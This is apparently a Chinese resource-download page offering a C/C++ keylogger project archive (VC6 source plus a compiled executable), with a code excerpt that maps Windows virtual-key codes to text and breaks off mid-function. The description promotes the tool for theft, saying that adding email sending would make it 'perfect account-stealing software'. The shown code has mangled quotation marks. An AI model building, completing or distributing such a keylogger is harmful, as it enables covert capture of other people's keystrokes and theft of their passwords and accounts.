• 大小: 1.82MB
    文件类型: .rar
    金币: 1
    下载: 0 次
    发布日期: 2023-10-01
  • 语言: C/C++
  • 标签:

资源简介

c语言键盘记录源程序,可以记录键盘输入的内容,然后保存为txt文件,如果加上邮箱发送就是完美的盗号软件啦!

资源截图

代码片段和文件信息

#include 
#include 
#include 
#include 
#include 
using namespace std;
string GetKey(int Key) // 判断键盘按下什么键
{
string KeyString = ““;
//判断符号输入
const int KeyPressMask=0x80000000; //键盘掩码常量
int   iShift=GetKeyState(0x10); //判断Shift键状态
bool   IS=(iShift & KeyPressMask)==KeyPressMask; //表示按下Shift键
if(Key >=186 && Key <=222)
{
switch(Key)
{
case 186:
  if(IS)
 KeyString = “:“;
  else
 KeyString = “;“;
 break;

case 187:
   if(IS)
         KeyString = “+“;
      else
         KeyString = “=“;
         break;

    case 188:
       if(IS)
         KeyString = “<“;
       else
         KeyString = ““;
       break;

     case 189:
   if(IS)
    KeyString = “_“;
   else
    KeyString = “-“;
   break;

   case 190:
   if(IS)
    KeyString = “>“;
   else
    KeyString = “.“;
   break;

   case 191:
   if(IS)
    KeyString = “?“;
   else
    KeyString = “/“;
   break;

   case 192:
   if(IS)
    KeyString = “~“;
   else
    KeyString = “‘“;
   break;

   case 219:
   if(IS)
    KeyString = “{“;
   else
    KeyString = “[“;
   break;

   case 220:
   if(IS)
    KeyString = “|“;
   else
    KeyString = “\\“;
   break;

   case 221:
   if(IS)
    KeyString = “}“;
   else
    KeyString = “]“;
   break;

   case 222:
   if(IS)
    KeyString = ‘“‘;
   else
    KeyString = “‘“;
   break;
}
}
//判断键盘的第一行
if (Key == VK_ESCAPE) // 退出

KeyString = “[Esc]“;

else if (Key == VK_F1) // F1至F12

KeyString = “[F1]“;

else if (Key == VK_F2)

KeyString = “[F2]“;

else if (Key == VK_F3)

KeyString = “[F3]“;

else if (Key == VK_F4)

KeyString = “[F4]“;

else if (Key == VK_F5)

KeyString = “[F5]“;

else if (Key == VK_F6)

KeyString = “[F6]“;

else if (Key == VK_F7)

KeyString = “[F7]“;

else if (Key == VK_F8)

KeyString = “[F8]“;

else if (Key == VK_F9)

KeyString = “[F9]“;

else if (Key == VK_F10)

KeyString = “[F10]“;

else if (Key == VK_F11)

KeyString = “[F11]“;

else if (Key == VK_F12)

KeyString = “[F12]“;

else if (Key == VK_SNAPSHOT) // 打印屏幕

KeyString = “[PrScrn]“;

else if (Key == VK_SCROLL) // 滚动锁定

KeyString = “[Scroll Lock]“;

else if (Key == VK_PAUSE) // 暂停、中断

KeyString = “[Pause]“;

else if (Key == VK_CAPITAL) // 大写锁定

KeyString = “[Caps Lock]“;


//-------------------------------------//

//控制键

else if (Key == 8) //<- 回格键

KeyString = “[Backspace]“;

else if (Key == VK_RETURN) // 回车键、换行

KeyString = “[Enter]\n“;

else if (Key == VK_SPACE) // 空格

KeyString = “ “;

//上档键:键盘记录的时候,可以不记录。单独的Shift是不会有任何字符,
//上档键和别的键组合,输出时有字符输出
/*
else if (Key == VK_LSHIFT) // 左侧上档键

KeyString = “[Shift]“;

else if (Key == VK_LSHIFT) // 右侧上档键

KeyString = “[SHIFT]“;
*/

/*如果只是对键盘输入的字母进行记录:可以不让以下键输出到文件*/
else if (Key == VK_TAB) // 制表键

KeyString = “[Tab]“;

else if (Key == VK_LCONTROL) // 左控制键

KeyString = “[Ctrl]“;

else i

 属性            大小     日期    时间   名称
----------- ---------  ---------- -----  ----

     文件       7553  2013-09-25 22:41  2013x9x25键盘记录01\1.cpp

     文件       4422  2013-09-25 23:12  2013x9x25键盘记录01\2013x9x25键盘记录01.dsp

     文件        546  2013-09-25 22:24  2013x9x25键盘记录01\2013x9x25键盘记录01.dsw

     文件      41984  2013-09-30 16:01  2013x9x25键盘记录01\2013x9x25键盘记录01.ncb

     文件      48640  2013-09-30 16:01  2013x9x25键盘记录01\2013x9x25键盘记录01.opt

     文件        934  2013-09-26 13:59  2013x9x25键盘记录01\2013x9x25键盘记录01.plg

     文件     207309  2013-09-26 13:59  2013x9x25键盘记录01\Debug\1.obj

     文件     548993  2013-09-26 13:59  2013x9x25键盘记录01\Debug\2013x9x25键盘记录01.exe

     文件     808728  2013-09-26 13:59  2013x9x25键盘记录01\Debug\2013x9x25键盘记录01.ilk

     文件    5495556  2013-09-25 22:33  2013x9x25键盘记录01\Debug\2013x9x25键盘记录01.pch

     文件    1123328  2013-09-25 22:41  2013x9x25键盘记录01\Debug\2013x9x25键盘记录01.pdb

     文件     181248  2013-09-30 16:00  2013x9x25键盘记录01\Debug\vc60.idb

     文件     135168  2013-09-25 22:41  2013x9x25键盘记录01\Debug\vc60.pdb

     目录          0  2013-09-30 16:02  2013x9x25键盘记录01\Debug

     目录          0  2013-09-30 16:01  2013x9x25键盘记录01

----------- ---------  ---------- -----  ----

              8604409                    15


评论

共有 条评论

相关资源